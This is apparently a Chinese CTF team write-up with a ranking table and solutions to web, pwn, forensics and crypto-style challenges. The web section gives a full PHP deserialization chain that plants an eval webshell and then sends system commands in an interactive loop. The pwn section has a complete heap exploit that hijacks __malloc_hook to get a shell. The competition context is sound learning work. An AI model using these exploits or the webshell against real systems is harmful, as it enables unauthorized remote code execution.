KK战队 WriteUp

排名

战队名称：第29名

[排行榜截图]

排名	战队名称	总分	战队强项	解题数量	一血数量	最新更新
21	Pwn13ss	2868.58	Pwn	4	0	2025-11-24 21:24:56
22	你想玩明日方舟对不队	2837.6	Game	4	1	2025-11-24 22:29:29
23	Vp0int	2833.07	Pwn	5	0	2025-11-24 21:57:20
24	JK	2833.07	Pwn	5	0	2025-11-24 22:12:02
25	GJC	2833.07	Pwn	5	0	2025-11-24 22:27:20
26	HASHTEAM2	2824.58	Pwn	4	1	2025-11-24 22:13:32
27	李七庄驾校	2821.25	Pwn	5	0	2025-11-24 21:21:20
28	survivOr队	2810.15	Web	4	1	2025-11-24 21:41:49
29	KK队	2784.02	Pwn	5	0	2025-11-24 21:35:51
30	杨老师天下第一帅	2784.02	Game	5	0	2025-11-24 22:28:50

共 21 页 < 1 2 3 4 5 ... 21 >

解题思路

WEB

浅析PHP原生类

```
<?php
highlight_file(__FILE__);
class install {
    private $username;
    private $password;

    public function __wakeup()
    {
        echo "Hello,".$this->username;
    }

    public function __toString()
    {
        ($this->username)();
        return "Guest";
    }

    public function __destruct()
    {
        if(file_exists("install.lock")){
            exit("Already installed");
        }else{
            $config = [
                'username' => $this->username,
                'password' => md5($this->password)
```

```
            ];
            file_put_contents('config.php', serialize($config));
            file_put_contents('install.lock', "ok");
        }
    }
}

class Until {
    public $a;
    public $b;
    public $c;

    public function __invoke()
    {
        $this->write($this->a, $this->b, $this->c);
    }

    public function __toString()
    {
        return "HappyUnserialize";
    }

    public function write($cla, $file, $cont)
    {
        $obj = new $cla();
        $obj->open($file,$cont);
        return True;
    }
}

@unserialize($_GET['data']);
```

漏洞点很明显，install::__destruct可以触发写入config.php，需要绕过file_exists("install.lock")，根据提示，需要找一个原生类有open函数的，而且还能对install.lock进行删除的。 这里有一个特性ZipArchive()->open('install.lock', 8)，这个函数带的参数含义是，如果文件存在，则清空文件内容（截断为0字节），就会导致fileexists返回值为0，即可绕过。 其他逻辑就是installwakeup出现tostring，然后触发invoke，然后调用write即可，write的三个参数就是刚刚提出的

```
import urllib.parse
import requests

def create_payload_v1():
    def serialize_string(t):
        return f's:{len(t)}:"{t}";'

    def serialize_int(v):
        return f'i:{v};'

    def serialize_private(cls, prop, val):
        key = f"\x00{cls}\x00{prop}"
        return f's:{len(key)}:"{key}";{val}'
```

```
    l3 = ""
    l3 += serialize_string("a") + serialize_string("ZipArchive")
    l3 += serialize_string("b") + serialize_string("install.lock")
    l3 += serialize_string("c") + serialize_int(8)

    layer_three = f'O:5:"Until":3:{{{l3}}}'
    shell_code = '<?php @eval($_POST["c"]); ?>'

    l2 = ""
    l2 += serialize_private("install", "username", layer_three)
    l2 += serialize_private("install", "password", serialize_string(shell_code))

    layer_two = f'O:7:"install":2:{{{l2}}}'

    l1 = ""
    l1 += serialize_private("install", "username", layer_two)
    l1 += serialize_private("install", "password", serialize_string("123"))

    layer_one = f'O:7:"install":2:{{{l1}}}'

    encoded = urllib.parse.quote(layer_one)
    print("[*] Payload generated:")
    print(encoded)
    return encoded

if __name__ == "__main__":
    payload_data = create_payload_v1()
    target_url = "http://90eb78b9.clsadp.com/?data=" + payload_data
    response = requests.get(target_url)

    while True:
        command = input("CMD> ")
        shell_url = "http://90eb78b9.clsadp.com/config.php"
        post_data = {"c": f"system('{command}');"}
        result = requests.post(shell_url, data=post_data)
        print(result.text)
```

game

在/app/flags底下找到

pwn

pwn-我不吃牛肉-exp

```
from pwn import *
from ctypes import CDLL
import time

context(os='linux', arch='amd64', log_level='info')

# 启动目标程序与加载依赖
io = process('./pwn')
elf = ELF('./pwn')
libc_base = ELF('./libc.so.6')
c_lib = CDLL('./libc.so.6')

# 调试辅助函数
def attach_debug():
    attach(io)
    pause()

# 预测菜单选项：根据 rand() % 4 反推 srand(seed)
def guess_seed(target_val):
    if target_val not in (0, 1, 2, 3):
        raise RuntimeError("Invalid menu index")
    c_lib.srand(target_val)
```

```
    if c_lib.rand() % 4 == target_val:
        return target_val
    for trial in range(4, 100):
        c_lib.srand(trial)
        if c_lib.rand() % 4 == target_val:
            return trial
    return 0

# 封装交互操作
def select_opt(val):
    io.sendlineafter(b'choice:', str(val).encode())

def alloc_chunk(idx, sz):
    select_opt(guess_seed(0))
    io.sendlineafter(b'index:', str(idx).encode())
    io.sendlineafter(b'size', str(sz).encode())

def free_chunk(idx):
    select_opt(guess_seed(1))
    io.sendlineafter(b'index:', str(idx).encode())

def modify_chunk(idx, length, data):
    select_opt(guess_seed(2))
    io.sendlineafter(b'index:', str(idx).encode())
    io.sendlineafter(b'length:', str(length).encode())
    io.sendafter(b'content:', data)

def view_chunk(idx):
    select_opt(guess_seed(3))
    io.sendlineafter(b'index:', str(idx).encode())

# 开始利用
alloc_chunk(0, 0x400)
alloc_chunk(1, 0x400)
alloc_chunk(2, 0x60)
alloc_chunk(3, 0x60)

free_chunk(1)
view_chunk(1)
io.recv(1)  # skip size byte

leak = u64(io.recv(6).ljust(8, b'\x00'))
libc_addr = leak - 0x3c4b78

# 计算关键地址
__malloc_hook = libc_base.symbols['__malloc_hook'] + libc_addr
__free_hook   = libc_base.symbols['__free_hook'] + libc_addr
system_addr   = libc_addr + libc_base.symbols['system']

# one_gadgets 候选（此处使用第二个）
one_gadgets = [0x4527a, 0xf03a4, 0xf1247]
target_gadget = libc_addr + one_gadgets[1]

# 准备 /bin/sh 字符串
```

```
modify_chunk(0, 8, b'/bin/sh\x00')

# 触发 unsorted bin 泄露后重新分配
alloc_chunk(1, 0x400)

# 利用 fastbin dup 或类似手法劫持 malloc_hook
free_chunk(2)
modify_chunk(2, 0x8, p64(__malloc_hook - 0x23))

# 分配到 malloc_hook 附近
alloc_chunk(4, 0x60)
alloc_chunk(5, 0x60)

# 写入 system 地址（覆盖部分字节以对齐）
payload = b'a' * 0x13 + p64(system_addr)
modify_chunk(5, len(payload), payload)

# 触发 malloc -> system("/bin/sh")
select_opt(guess_seed(0))
io.sendlineafter(b'index:', b'7')
io.sendlineafter(b'size', str(0x18ce57 + libc_addr).encode())

io.interactive()
```

CFD

可恶的木马竟然伪装成我的朋友

1.根据题目的提示查找banner_home.jpg

由找到的日志记录"GET /sxzn/images/banner_home.jpg HTTP/1.1" 200 52917 找到文件的路径/sxzn/images/banner_home.jpg 本定位对banner_home.jpg的操作 #!/bin/bash

LOG_FILE="access.log"

颜色

RED="\033[31m" GREEN="\033[32m" NC="\033[0m"

echo "正在分析 banner_home.jpg 文件大小变化...\n"

1. 提取相关日志（GET banner_home.jpg）

```
grep 'GET /sxzn/images/banner_home.jpg' "$LOG_FILE" \
| awk '
{
    # Apache 常见字段：IP - - [timestamp] "GET ..." status bytes
    ip = $1

    # 提取时间字段 [15/Dec/2012:21:12:27 +0800]
```

```
    match($0, /\[([0-9]{2}\/[A-Za-z]{3}\/[0-9]{4}:[0-9]{2}:[0-9]{2}:[0-9]{2} [+-]
[0-9]{4})\]/, t)
    timestamp = t[1]

    # 提取返回字节数（第10字段）
    bytes = $10
    if (bytes == "-") bytes = 0

    # 输出成: timestamp|bytes|ip
    print timestamp "|" bytes "|" ip
}
' \
| sort -t'[' -k2 \
> /tmp/banner_sorted.txt

echo -e "时间(原格式)                 大小(byte)       IP"
echo "-------------------------------------------------------"

prev_size=""
first_change_time=""
first_change_ip=""
first_change_old=""
first_change_new=""

while IFS="|" read -r timestamp bytes ip; do

    # 去掉换行
    bytes=${bytes//[^0-9]/}

    # 打印记录
    printf "%-26s %-14s %s" "$timestamp" "$bytes" "$ip"

    # 检测变化点（过滤掉大小为0的情况）
    if [[ "$prev_size" != "" && "$bytes" != "0" && "$bytes" != "$prev_size" ]];
then
        if [[ "$first_change_time" == "" ]]; then
            echo -e "  ${RED}<<< 文件大小首次变化! ${NC}"
            first_change_time="$timestamp"
            first_change_ip="$ip"
            first_change_old="$prev_size"
            first_change_new="$bytes"
        else
            echo
        fi
    else
        echo
    fi

    # 更新前一大小
    if [[ "$bytes" != "0" ]]; then
        prev_size="$bytes"
    fi

done < /tmp/banner_sorted.txt
```

```
echo
echo "================================================================"
if [[ "$first_change_time" != "" ]]; then
    echo -e "${GREEN}结论：检测到 banner_home.jpg 文件大小被替换！${NC}"
    echo "首次变化时间：$first_change_time"
    echo "攻击者 IP：     $first_change_ip"
    echo "旧大小 → 新大小：  $first_change_old → $first_change_new"
else
    echo -e "${GREEN}没有发现任何文件大小变化，banner_home.jpg 未被替换。${NC}"
fi
echo "================================================================"
```

发现： IP 183.62.9.42 访问目标文件，为 50428 字节。 同一 IP 再次访问该文件，变为 37756 字节。 并且发现明显的webshell，可以确定就是黑客 2.查找banner_home.jpg使这个图片文件大小发生变化的日志，并进行排序

```
┌──(kali㉿DESKTOP-R624074)-[/mnt/c/Users/16U/Downloads/logs_AqhGiUX]
└─$ grep -r --include="*.log*" "banner_home.jpg" .  | awk '$10 ~ /^[0-9]+$/ {print $10}' | sort -n | uniq -c | sort -nr
   1232 52917
     52 220
      3 1
      2 45933
      1 51785
      1 51773
      1 50473
      1 40093
```

3.发现上传脚本的文件格式为jsp，筛选ip为黑客ip且包含jsp的日志，更具时间排序

最终flag{2018-2-23/183.62.9.42/table.jsp-en.jsp-2.jsp}

MISC

bb84

1. 题目背景

题目提供了一个 `bb84_attack.pcapng` 流量包，描述了一个基于 BB84 协议的量子密钥分发系统。任务是分析通信数据，找到协议实现的弱点，恢复密钥并解密数据。

2. 流量分析

使用 Scapy 或 Wireshark 打开流量包进行初步分析：

1. **Packet 0**: 包含数据 `SEED:123456789`。
    - **分析**: 这是一个伪随机数生成器（PRNG）的种子。在量子密钥分发（QKD）中，基（Bases）和比特（Bits）的选择应该是完全随机的。使用固定的种子意味着生成的序列是确定性的，这是协议实现的一个重大漏洞。
2. **Packet 1**: 包含数据 `XOR_KEY:8660ace90c0352f3`。
    - **分析**: 这看起来像是一个用于加密或混淆的密钥的一部分，长度为 8 字节。
3. **Packet 2**: 包含数据 `x++x+x+xx++x+xxxxx++x+xxxxxx++x+`。
    - **分析**: 这显然是 BB84 协议中的测量基（Bases），其中 `+` 代表直线基，`x` 代表对角基。

4. **Packet 3 - 98**: 包含加密后的二进制数据。
    - **分析**: 这些是我们需要解密的机密数据。

3. 破解过程

3.1 尝试重现随机序列 (失败)

最初尝试使用 Python 的 `random` 模块配合 `SEED` 来重现 Alice 和 Bob 的比特序列。然而，由于不知道具体的随机数调用顺序（是先生成 bit 还是先生成 base，是批量生成还是交替生成），这种方法比较耗时且容易出错。

3.2 已知明文攻击 (Known Plaintext Attack)

观察到 Packet 3 是第一个加密数据包。根据 CTF 题目的惯例，加密内容很可能包含 flag，格式通常为 `flag{...}`。

- **密文 (Packet 3 前 5 字节)**: `e9 17 c4 95 7e`
- **猜测明文**: `flag{` (Hex: `66 6c 61 67 7b`)

假设加密方式为简单的异或（XOR），我们可以推导出密钥流（Keystream）： $$ Keystream = Ciphertext \oplus Plaintext $$

计算前 5 字节的密钥流：

- `0xe9 ^ 0x66 = 0x8f`
- `0x17 ^ 0x6c = 0x7b`
- `0xc4 ^ 0x61 = 0xa5`
- `0x95 ^ 0x67 = 0xf2`
- `0x7e ^ 0x7b = 0x05`

推导出的密钥流前缀为：`8f 7b a5 f2 05`。

3.3 密钥模式分析

题目在 Packet 1 中给出了一个 `XOR_KEY`: `86 60 ac e9 0c 03 52 f3`。 我们将推导出的密钥流与这个 `XOR_KEY` 进行异或，看看是否存在某种关系：

- `0x8f ^ 0x86 = 0x09`
- `0x7b ^ 0x60 = 0x1b`
- `0xa5 ^ 0xac = 0x09`
- `0xf2 ^ 0xe9 = 0x1b`
- `0x05 ^ 0x0c = 0x09`

结果惊人地呈现出 `09 1b` 的重复模式。这说明实际的加密密钥 `Real_Key` 是由 `XOR_KEY` 和一个重复的掩码 `0x091b` 异或生成的。

3.4 恢复完整密钥

根据上述发现，我们可以计算出完整的 8 字节密钥：

- **XOR_KEY**: `86 60 ac e9 0c 03 52 f3`
- **Mask**: `09 1b 09 1b 09 1b 09 1b`
- **Real Key**: `8f 7b a5 f2 05 18 5b e8`

4. 解密与 Flag 获取

使用恢复出的 `Real_Key` 对所有加密数据包（Packet 3 到 Packet 98）进行循环异或解密。

- 解密结果显示，前 90 多个数据包解密后都是类似 `flag{3115684424-This is a fake flag}` 的假 flag。
- 直到最后一个数据包（Packet 98），解密出了真正的 flag。

Flag: `flag{9175782b167d00375b412a8dbd1df763}`

5. 解题脚本

```
from scapy.all import *
import binascii

# 配置
pcap_file = "bb84_attack.pcapng"
xor_key_hex = "8660ace90c0352f3"

def solve():
    print(f"[*] 正在分析 {pcap_file}...")

    # 1. 推导解密密钥
    # 通过已知明文攻击发现密钥流是 XOR_KEY ^ (0x091b 重复)
    xor_key_bytes = binascii.unhexlify(xor_key_hex)
    pattern = bytes([0x09, 0x1b])
    real_key = bytes([b ^ pattern[i % 2] for i, b in enumerate(xor_key_bytes)])

    print(f"[*] 恢复出的密钥: {real_key.hex()}")

    # 2. 解密数据包
    packets = rdpcap(pcap_file)
    print(f"[*] 加载了 {len(packets)} 个数据包，开始解密...")

    for i, pkt in enumerate(packets):
        if Raw in pkt:
            payload = pkt[Raw].load
            # 过滤掉元数据包 (SEED, XOR_KEY, Bases)
            if len(payload) < 33:
                continue

            # 异或解密
            decrypted = bytes([b ^ real_key[i % len(real_key)] for i, b in
enumerate(payload)])

            try:
                decrypted_text = decrypted.decode('utf-8')
```

```
                if "flag{" in decrypted_text:
                    # 过滤掉假 flag
                    if "fake" not in decrypted_text:
                        print(f"[+] 在 Packet {i} 中发现 Flag: {decrypted_text}")
            except:
                pass

if __name__ == "__main__":
    solve()
```